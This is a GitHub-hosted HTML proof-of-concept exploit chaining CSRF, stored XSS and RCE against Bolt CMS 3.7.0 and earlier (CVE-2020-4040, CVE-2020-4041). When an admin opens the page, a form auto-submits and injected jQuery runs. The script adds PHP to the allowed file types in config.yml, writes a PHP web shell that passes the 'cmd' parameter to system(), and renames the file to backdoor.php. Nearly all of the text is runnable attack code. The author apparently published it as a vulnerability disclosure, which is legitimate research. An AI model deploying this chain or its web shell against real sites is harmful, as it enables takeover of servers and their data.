exploits/SA20200324_boltcms_csrf_to_rce.html at master · staz0t/exploits · GitHub

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
<!--
Vendor: Bolt CMS
Version: <= 3.7.0
CVE: CVE-2020-4040, CVE-2020-4041
Vulnerabilities: CSRF, XSS, RCE

Written by Sivanesh Ashok | @sivaneshashok | stazot.com

For more details, visit https://stazot.com

This is an RCE poc for Bolt CMS <= 3.7.0. When the admin of Bolt CMS visits the page that hosts this code, backdoor.php gets uploaded and can be used as
http://targetbolt.site/files/backdoor.php?cmd={insert_command_here}
-->

<html>
<body>
<!-- change http://localhost to the target domain -->
<form id="csrfform" method="POST" action="http://localhost/preview/page">
<input type=hidden name="contenttype" value="pages">
<input type=hidden name="title" value="Preview Page">
<input type=hidden name="slug" value="previewpage1">
<input type=hidden name="teaser" value="This is just a preview page">
<textarea type=hidden name="body">
<script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/3.1.1/jquery.min.js"></script>
<!-- javascript exploit starts here -->
<script>
// BoltCMS <= 3.7.0 RCE
// Written by Sivanesh Ashok | @sivaneshashok | stazot.com

// change "http://localhost" to the respective Bolt CMS domain
var target = 'http://localhost';

//change "/bolt" to your admin dashboard
var admin_url = '/bolt';

// edit config.yml to add php to acceptable file types
$.get(target+admin_url+'/file/edit/config/config.yml', function( my_var0 ) {

	var tokenobj0 = $(my_var0).find('#file_edit__token');
	var configfile = $(my_var0).find("#file_edit_contents")[0].defaultValue;
	var extensionsline = configfile.match("accept_file_types: (.*)]");
	var editedconfigfile = configfile.replace(extensionsline[0], "accept_file_types: "+extensionsline[1]+", php ]");

	$.ajax({
		type: 'POST',
		url: target+admin_url+'/file/edit/config/config.yml?returnto=ajax',
		data: {
			'file_edit[_token]':tokenobj0[0].value,
			'file_edit[contents]':editedconfigfile,
			'file_edit[save]':'undefined'
		}
	});
}, 'html');

$.ajaxSetup({async: false});

// create backdoor.txt
// change the name backdoor.txt below if you think that it could be present already
$.get(target+admin_url+"/files", function( my_var1 ) {

	var tokenobj1 = $(my_var1).find(".dropdown-menu.pull-right.hidden-xs").first().find("li:first-child").find("a:first-child").data().action.slice(22,-2).split(', ')[3].slice(1,-1);

	$.ajax({
		type: 'POST',
		url: target+'/async/file/create',
		data: {
			'filename': 'backdoor.txt',
			'parentPath': '',
			'namespace': 'files',
			'token': tokenobj1
		}
	});
}, 'html');

// edit backdoor.txt
$.get(target+admin_url+"/file/edit/files/backdoor.txt", function( my_var2 ) {

	var tokenobj2 = $(my_var2).find("#file_edit__token")[0].defaultValue;

	$.ajax({
		type: 'POST',
		url: target+admin_url+'/file/edit/files/backdoor.txt?returnto=ajax',
		data: {
			'file_edit[_token]': tokenobj2,
			'file_edit[contents]': `<?php if(isset($_REQUEST['cmd'])){ echo "<pre>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "</pre>"; die; }?>`,
			'file_edit[save]': 'undefined'
		}
	});
}, 'html');

// rename backdoor.txt to backdoor.php\.
$.get(target+admin_url+"/files", function( my_var3 ) {

	var tokenobj3 = $(my_var3).find(".dropdown-menu.pull-right.hidden-xs").first().find("li:first-child").find("a:first-child").data().action.slice(22,-2).split(', ')[3].slice(1,-1);

	$.ajax({
		type: 'POST',
		url: target+'/async/file/rename',
		data: {
			'namespace': 'files',
			'parent': '',
			'oldname': 'backdoor.txt',
			'newname': 'backdoor.php\\.',
			'token': tokenobj3
		}
	});
}, 'html');
</script>
<!-- javascript exploit ends here -->
</textarea>
<input type=hidden name="id" value="1337">
<input type=submit value=submit id="submitbutton">
</form>
<script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/3.1.1/jquery.min.js"></script>
<script type="text/javascript">
$(function() {
    $('#submitbutton').click();
});
</script>
</body>
</html>